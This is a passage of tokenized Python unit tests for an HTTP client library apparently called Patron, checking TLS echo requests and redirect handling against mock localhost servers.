"\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "wait", "ed_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "respond", "ent_", "._", "ended_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "responses_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "beta_", "._", "responses_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", ",_", "{_", "'", "version", "'_", ":_", "(_", "1_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "'", "OK", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "content", "-", "length", "'_", ":_", "'", "122", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "'_", ":_", "'", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "server", "'_", ":_", "'", "Io", "Boo", "k", ".", "local", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "bytearray_", "(_", "b", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "{_", "'", "action", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "'", "GET", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "errore", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "host", "'_", ":_", "'", "local", "host", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sche", "me", "'_", ":_", "'", "https", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "'_", ":_", "'", "GET", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "'/", "echo", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "qa", "rg", "s", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fragment", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "accept", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "far", "gs", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Patr", "on", "Pipe", "line", "Ech", "o", "Simple", "Secur", "e", "Path_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Patr", "on", " ", "pipeline", " ", "servic", "ing", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Patr", "on", "Pipe", "line", "Ech", "o", "Simple", "Secur", "e", "Path_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "server", "Keyp", "ath_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "server", "\\u", "key", ".", "pe", "m", "'_", "#", " ", "local", " ", "server", " ", "private", " ", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server", "Cert", "path_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "server", "\\u", "cert", ".", "pe", "m", "'_", "#", " ", "local", " ", "server", " ", "public", " ", "cert_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "Ca", "filepath_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "client", ".", "pe", "m", "'_", "#", " ", "remote", " ", "client", " ", "public", " ", "cert_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "client", "Keyp", "ath_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "client", "\\u", "key", ".", "pe", "m", "'_", "#", " ", "local", " ", "client", " ", "private", " ", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "Cert", "path_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "client", "\\u", "cert", ".", "pe", "m", "'_", "#", " ", "local", " ", "client", " ", "public", " ", "cert_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server", "Ca", "filepath_", "=_", "'/", "etc", "/", "pki", "/", "tls", "/", "cert", "s", "/", "server", ".", "pe", "m", "'_", "#", " ", "remote", " ", "server", " ", "public", " ", "cert_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "server", "Cert", "Common", "Name_", "=_", "'", "local", "host", "'_", "#", " ", "match", " ", "host", "name", " ", "use", "s", " ", "server", "s", "'", "s", " ", "cert", " ", "common", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server", "Tl", "s_", "(_", "host_", "=_", "server", "Cert", "Common", "Name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bufsize_", "=_", "1310", "72_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "context_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "certi", "fy_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "keypa", "th_", "=_", "server", "Keyp", "ath_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cert", "path_", "=_", "server", "Cert", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "caf", "ile", "path_", "=_", "client", "Ca", "filepath_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Patr", "on", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "host", " ", "=", " ", "alpha", ".", "eh", "a", "[", "0", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", "port", " ", "=", " ", "alpha", ".", "eh", "a", "[", "1", "]_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "\"", "https", "://", "{", "0", "}:", "{", "1", "}/", "\"_", "._", "format_", "(_", "server", "Cert", "Common", "Name_", ",_", "alpha_", "._", "eh", "a_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "client", "ing_", "._", "Patr", "on_", "(_", "path_", "=_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bufsize_", "=_", "1310", "72_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "reconnect", "able_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "keypa", "th_", "=_", "client", "Keyp", "ath_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cert", "path_", "=_", "client", "Cert", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "caf", "ile", "path_", "=_", "server", "Ca", "filepath_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "=_", "odict_", "(_", "[_", "(_", "'", "method", "'_", ",_", "u", "'", "GET", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "path", "'_", ",_", "u", "'/", "echo", "?", "name", "=", "fam", "e", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "qa", "rg", "s", "'_", ",_", "odict_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "fragment", "'_", ",_", "u", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "header", "s", "'_", ",_", "odict_", "(_", "[_", "(_", "'", "Accept", "'_", ",_", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "body", "'_", ",_", "None_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "requests_", "._", "append_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "not_", "alpha_", "._", "ix", "es_", "or_", "beta_", "._", "requests_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "connector_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "respond", "ent_", "._", "ended_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mock", "Ech", "o", "Service", "Secur", "e_", "(_", "alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "wait", "ed_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "respond", "ent_", "._", "ended_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "responses_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "beta_", "._", "responses_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", ",_", "{_", "'", "version", "'_", ":_", "(_", "1_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "'", "OK", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "content", "-", "length", "'_", ":_", "'", "122", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "'_", ":_", "'", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "server", "'_", ":_", "'", "Io", "Boo", "k", ".", "local", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "bytearray_", "(_", "b", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "{_", "'", "action", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "'", "GET", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "errore", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "host", "'_", ":_", "'", "local", "host", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sche", "me", "'_", ":_", "'", "https", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "'_", ":_", "'", "GET", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "'/", "echo", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "qa", "rg", "s", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fragment", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "accept", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "far", "gs", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "requests_", "._", "append_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "not_", "alpha_", "._", "ix", "es_", "or_", "beta_", "._", "requests_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "connector_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "respond", "ent_", "._", "ended_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mock", "Ech", "o", "Service", "Secur", "e_", "(_", "alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "wait", "ed_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "respond", "ent_", "._", "ended_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "responses_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "beta_", "._", "responses_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", ",_", "{_", "'", "version", "'_", ":_", "(_", "1_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "'", "OK", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "content", "-", "length", "'_", ":_", "'", "122", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "'_", ":_", "'", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "server", "'_", ":_", "'", "Io", "Boo", "k", ".", "local", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "bytearray_", "(_", "b", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "{_", "'", "action", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "'", "GET", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "errore", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "host", "'_", ":_", "'", "local", "host", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sche", "me", "'_", ":_", "'", "https", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "'_", ":_", "'", "GET", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "'/", "echo", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "qa", "rg", "s", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fragment", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "accept", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "far", "gs", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mock", "Redirect", "Service_", "(_", "self_", ",_", "server_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "mock", " ", "echo", " ", "server", " ", "service", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "server_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "server_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Client_", "=_", "server_", "._", "ix", "es_", "._", "values_", "(_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Client_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "msg", "In_", "==_", "b", "'", "GET", " ", "/", "echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "610", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ix", "Client_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "'", "HTTP", "/", "1.1", " ", "307", " ", "Tempora", "ry", " ", "Redirect", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Type", ":", " ", "text", "/", "plain", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Length", ":", " ", "0", "\\\\", "r", "\\\\", "n", "Access", "-", "Control", "-", "All", "ow", "-", "Orig", "in", ":", " ", "*\\\\", "r", "\\\\", "n", "Locat", "ion", ":", " ", "http", "://", "local", "host", ":", "610", "1", "/", "redirec", "t", "?", "name", "=", "fam", "e", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Client_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "In_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "msg", "In_", "==_", "b", "'", "GET", " ", "/", "redirec", "t", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "610", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ix", "Client_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", 